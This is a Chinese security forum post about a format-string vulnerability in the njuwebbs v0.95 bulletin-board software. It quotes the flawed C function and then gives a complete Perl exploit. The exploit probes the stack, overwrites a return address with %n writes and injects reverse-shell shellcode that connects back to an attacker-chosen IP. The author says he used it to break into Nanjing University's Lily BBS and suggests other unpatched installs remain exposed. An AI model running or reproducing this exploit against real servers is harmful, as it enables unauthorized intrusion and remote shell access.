|
作者: toplance [toplance] 论坛用户 | 登录 |
虽然读过很多黑客文章,也做过很多黑客事迹,但这些都不能算是真正的黑客。直到有一天, 当我自己发现了一个漏洞,并且付诸实现时,我的黑客经历算是入门了。 那是从南京大学小百合bbs上发现的一个小漏洞,虽然十分简单,却足攻破整个系统。这是一 个十分平常的格式化字符串问题。虽然作者已经对此加以了注意,一处小小的忽视就足以致命 了。 njuwebbs v0.95: kernel.c function hhprintf(): int hhprintf(char *fmt, ...) { char buf0[1024], buf[1024], *s, *getparm(); int len=0; int my_link_mode; va_list ap; va_start(ap, fmt); vsnprintf(buf, 1023, fmt, ap); va_end(ap); buf[1023]=0; s=buf; my_link_mode=atoi(getparm("my_link_mode")); if(my_link_mode==1) return hprintf("%s", buf); if(!strcasestr(s, "http://") && !strcasestr(s, "ftp://") && !strcasestr(s, "mailto:")) return hprintf("%s", buf); while(s[0]) { if(!strncasecmp(s, "http://", 7) || !strncasecmp(s, "mailto:", 7) || !strncasecmp(s, "ftp://", 6)) { char *tmp; if(len>0) { buf0[len]=0; hprintf("%s", buf0); len=0; } tmp=strtok(s, "\'\" \r\t)(,;\n"); if(tmp==0) break; if(strcasestr(tmp, ".gif") || strcasestr(tmp, ".jpg") || strcasestr(tmp, ".bmp")) { printf("<IMG SRC=\"%s\" ALT=\"%s\">", nohtml(tmp), nohtml(tmp)); tmp=strtok(0, ""); if(tmp==0) return; return hhprintf(tmp);/*************************take care here***********************/ } printf("<a target=_blank href='%s'>%s</a>", nohtml(tmp), nohtml(tmp)); tmp=strtok(0, ""); if(tmp==0) return printf("\n"); return hhprintf(tmp);/*************************take care here***********************/ } else { buf0[len]=s[0]; if(len<1000) len++; s++; } } } 注意到hhprintf实际上是一个自定义的格式化函数,其中调用了vsnprintf()。然而在标出的两行递归调用中,作者 把要打印的内容直接放在了格式化串中,因为我们能够控制tmp的内容,我们就能够控制格式化串! 这一格式化串的攻击手法是最简单的一种。因为hhprintf的返回内容是html页面,我们可以清晰的得到所有需要的 地址,从而得出覆盖一个指针的方法。 要调用hhprintf也十分简单,我们只需设置个人说明档,bbs系统就会将说明档写入一个文件中。在察看个人说明的时 候,系统会调用hhprintf去显示个人说明档。如果说明档是如下格式:"http://%08x", %08x就会被解释成格式,这样 堆栈中的一个数据就出现了。采用一些基本的格式化利用手法,不难得到一个shell。 代码如下:写得不怎么样,有些地址值需要加以猜测。仅供参考。其实知道了原理,自己写一个也不难。 参照了<<如何写远程自动精确定位的format string exploit>>一文中的一些技巧。 曾经成功进入南大小百合系统,可惜由于经验不足,被网管发现。此漏洞现已补上,不过不排除其他使用南大小百合 系统的bbs还没有修复的可能。 #!/usr/bin/perl $|=1; use Socket; use Getopt::Std; getopt('hpUP'); &usage unless ( defined($opt_h) && defined($opt_U) && defined($opt_P) ); #note: shell code should not have '\x25' and '\x00', try find a middle server whose ip doesn't contains these #note: the return_addr found should not have '\x25' and '\x00', as well as it+1, +2, +3 #start global vars $host = $opt_h; $port = $opt_p || 80; $user = $opt_U; $pass = $opt_P; $target = inet_aton($host) || die("inet_aton problems\n"); #shell code for linux, reverse connection to localhost(needs modify):3879, no \x25 and \x00 $shellcode= #"\x31\xdb\xf7\xe3\xb0\x66\x53\x43\x53\x43\x53\x89\xe1\x4b\xcd\x80\x89\xc7\x52\x66\x68\x27\x10". #"\x43\x66\x53\x89\xe1\xb0\x10\x50\x51\x57\x89\xe1\xb0\x66\xcd\x80\xb0\x66\xb3\x04\xcd\x80\x50". #"\x50\x57\x89\xe1\x43\xb0\x66\xcd\x80\x89\xd9\x89\xc3\xb0\x3f\x49\xcd\x80\x41\xe2\xf8.\x51". #"\x68\x6e\x2f\x73\x68\x68\x2f\x2f\x62\x69\x89\xe3\x51\x53\x89\xe1\xb0\x0b\xcd\x80"; "\x89\xe5\x31\xd2\xb2\x66\x89\xd0\x31\xc9\x89\xcb\x43\x89\x5d\xf8". "\x43\x89\x5d\xf4\x4b\x89\x4d\xfc\x8d\x4d\xf4\xcd\x80\x31\xc9\x89". "\x45\xf4\x43\x66\x89\x5d\xec\x66\xc7\x45\xee\x0f\x27\xc7\x45\xf0". #change the following for bytes to a remote ip under your controll "\x7f\x01\x01\x01\x8d\x45\xec\x89\x45\xf8\xc6\x45\xfc\x10\x89\xd0". "\x43\x8d\x4d\xf4\xcd\x80\x31\xc9\xb0\x3f\xcd\x80\x41\x83\xf9\x03". "\x75\xf6\xeb\x18\x5e\x89\x75\x08\x31\xc0\x88\x46\x07\x89\x45\x0c". "\xb0\x0b\x89\xf3\x8d\x4d\x08\x8d\x55\x0c\xcd\x80\xe8\xe3\xff\xff". "\xff/bin/sh"; #njuwebbs specific data $offset = 6; $buf_size_limit = 256; $step = $buf_size_limit - 56; $cookies = ''; $uuid = '8ada8f9afb1f582d5ffb1f5af06b8003'; #end global vars &login_nju; $target_buf_addr = &locate_target_buffer; printf "%x\n", $target_buf_addr; $return_addr = &locate_return_addr($target_buf_addr + 4096, 0xc0000000); $return_addr += 4;#it was ebp, now it is ip $return_addr -= $return_addr % 4;#make 4 byte alignment, maybe not needed but somehow on lilybbs requires #$return_addr = 0xbfffbf1c; printf "%x\n", $return_addr; &put_shellcode($target_buf_addr, $return_addr); #for testing only sub test_buf { $fmt = 'http://;ABCDEFGH'.&addr_to_string(0xbfffbf1c)."\%8\$s"; &write_in($fmt); my $dump = &read_out; print &string_to_hex($dump), "\n"; exit; } sub put_shellcode { my ($buf_addr, $ret_addr) = @_; #fmt=http://;(4byte-trash)(address1)(4byte-trash)(address2) # (4byte_trash)(address3)(4byte-trash)(address4)(shellcode) # (%8x times ($offset-1))(%($padding)x)%n(%($padding)x)%n # (%($padding)x)%n(%($padding)x)%n #total length = 8 + 3*5 + 8*4 + (<30) + shell_size my $shell_addr = $buf_addr + 8*4;#not including 'http://;' my $already_written = 8*4 + length($shellcode) + 8*($offset-1); my $cover_addr = $ret_addr; my $fmt = 'http://;'.'aaaa'.&addr_to_string($cover_addr++).'aaaa'.&addr_to_string($cover_addr++). 'aaaa'.&addr_to_string($cover_addr++).'aaaa'.&addr_to_string($cover_addr++). $shellcode.('%8x'x ($offset-1)); @bytelist = &addr_to_byte_array($shell_addr); foreach my $write_byte (@bytelist) { my $padding = &padding_for_next_byte($already_written, $write_byte); $fmt .= "\%$padding".'x%n'; $already_written += $padding; } print $fmt."\n"; print &string_to_hex($fmt)."\n"; &write_in($fmt); &read_out; #print &string_to_hex($res), "\n"; } sub padding_for_next_byte() { my ($already_written, $write_byte) = @_; $write_byte += 0x100; $already_written %= 0x100; my $padding = ($write_byte - $already_written) % 0x100; $padding += 0x100 if($padding < 8); return $padding; } sub locate_return_addr { my ($startaddr, $stopaddr) = @_; #constructing fmt: http://;(addr)(%$offset$s) for(my $current = $startaddr; $current < $stopaddr;) { if(&addr_to_string($current) =~ /\x25/) { $current++; next; } $fmt = 'http://;'.&addr_to_string($current)."\%$offset\$s"; &write_in($fmt); my $dump = &read_out; $dump = substr($dump, 4); #printf "%x\n", $current; if(length($dump) > 5) { print &string_to_hex($dump), "\n"; $index = &match_return_addr($dump); if($index != -1) { #printf "%x\n", $current + $index; return $current + $index; } } $current += length($dump) + 1; } } sub match_return_addr { my ($str) = @_; for(my $i = 0; $i < length($str)-5; $i++) { my $substr = substr($str, $i); return ($i - 2) if($substr =~ m/^\xff\xbf[\x00-\xff][\x00-\xff][\x04-\x05]\x08/); } return -1; } sub locate_target_buffer { my $stacktop = 0xbfffc000;#attacking lilybbs, choose 0xbfffb000 my $stackbottom = 0xc0000000; #probing fmt: http://;(addr($current))(1, of number $step)($uuid)\%\%\|(\%$offset\$s)\| #response (to test if the addr drops into padding) to check with:($uuid)\%\|(part of padding)($uuid)\%\| for(my $current = $stacktop; $current < $stackbottom;) { if(&has_null($current)) { $current++;#skip it next; } my $fmt = 'http://;'.&addr_to_string($current).('1'x$step).$uuid.'%%|%'.$offset.'$s|'; #print $fmt."\n"; &write_in($fmt); my $dump = &read_out; #print &string_to_hex($dump)."\n"; #$current += $step; #next; my $pattern = $uuid.'\%\|[1]*'.$uuid.'\%\|'; #print $pattern."\n"; #last; if($dump =~ m/$pattern/) { return &get_target_buf_start_address($dump, $current); } else { print '#'; $current += $step; } } } sub get_target_buf_start_address { my($dump, $current) = @_; #$dump contains the same content as from the start address of target buf #$dump is:(addr($current))(1, of number $step)($uuid)(%|)(1*)($uuid)(%|)(irrelavant) #$current points to the middle of (1, of number $step) #so start addr is: $dump =~ /$uuid\%\|(1*)$uuid\%\|/; #printf "%x %d %d\n", $current, length($1), $step; return $current + length($1) - 4 - $step; } sub string_to_hex { my ($str) = @_; my $hex = ''; for(my $i = 0; $i < length($str); $i++) { $char = substr($str, $i, 1); $hex .= '-' unless $hex eq ''; $hex .= sprintf("%x", ord($char)); } return $hex; } sub addr_to_byte_array { my($addr) = @_; my $b0 = $addr & 0xff; my $b1 = ($addr >> 8) & 0xff; my $b2 = ($addr >> 16) & 0xff; my $b3 = ($addr >> 24) & 0xff; #assuming little-endian on server return ($b0, $b1, $b2, $b3); } sub addr_to_string { my ($addr) = @_; my $b0 = $addr & 0xff; my $b1 = ($addr >> 8) & 0xff; my $b2 = ($addr >> 16) & 0xff; my $b3 = ($addr >> 24) & 0xff; #assuming little-endian on server return chr($b0).chr($b1).chr($b2).chr($b3); } sub has_null { my ($addr) = @_; my $b0 = $addr & 0xff; my $b1 = ($addr >> 8) & 0xff; my $b2 = ($addr >> 16) & 0xff; my $b3 = ($addr >> 24) & 0xff; return 1 unless ($b0 && $b1 && $b2 && $b3); return 0; } sub login_nju { my $req = "GET /bbslogin?id=$user&pw=$pass&type=2 HTTP/1.0\n"."Host: $host:$port\n\n"; my @res = sendraw($req); #print "@res"; foreach (@res) { if(/document\.cookie\=\'([^\']*)\'/) { if($cookies eq '') { $cookies .= "$1"; } else { $cookies .= "&$1"; } } } } sub write_in { my ($fmt) = @_; $fmt = http_escape($fmt); #print "####################$fmt###################\n"; my $req = "GET /bbsplan?text=$fmt&type=update&$cookies HTTP/1.0\n"."Host: $host:$port\n\n"; sendraw($req); #print "@res\n"; } sub read_out { my $req = "GET /bbsqry?userid=$user HTTP/1.0\n"."Host: $host:$port\n\n"; @res = sendraw($req); if("@res" =~ /\<a target\=\_blank href\=\'http\:\/\/\'\>http\:\/\/\<\/a\>([\x00-\xff]*)\<\/pre\>\<\/table\>/) { #print $1."\n"; return $1; } #die (&string_to_hex("@res")."\n"); print "no match!\n"; return ''; } # refer to PsKey <PsKey@hotmail.com>'s article about dvbbs exploit sub sendraw { my ($req) = @_; while(1) { socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) || die("Socket problems\n"); if(connect(S,pack "SnA4x8",2,$port,$target)){ select(S); $| = 1; print $req; my @res = <S>; select(STDOUT); close(S); return @res; } else { next; } } } sub usage { print qq~ Usage: $0 -h <Host> [-p <port>] -h = hostname you want to attack -p = port,80 default -U = bbs user name -P = bbs user password ~; exit; } sub http_escape { my($str) = @_; my($out) =""; for(my($i) = 0; $i < length($str); $i++) { my($c) = substr($str, $i, 1); #$out .= sprintf("%%%02x", ord($c)); if(ord($c) <= 0x20) { $out .= sprintf("%%%02x", ord($c)); } elsif($c eq '%') { $out .= '%25'; } elsif($c eq '+') { $out .= '%2B'; } elsif($c eq '&') { $out .= '%26'; } elsif($c eq '=') { $out .= '%3D'; } else { $out .= $c; } } return $out; } |
地主 发表时间: 04-05-14 15:18 |
|
20CN网络安全小组版权所有
Copyright © 2000-2010 20CN Security Group. All Rights Reserved.
论坛程序编写:NetDemon
粤ICP备05087286号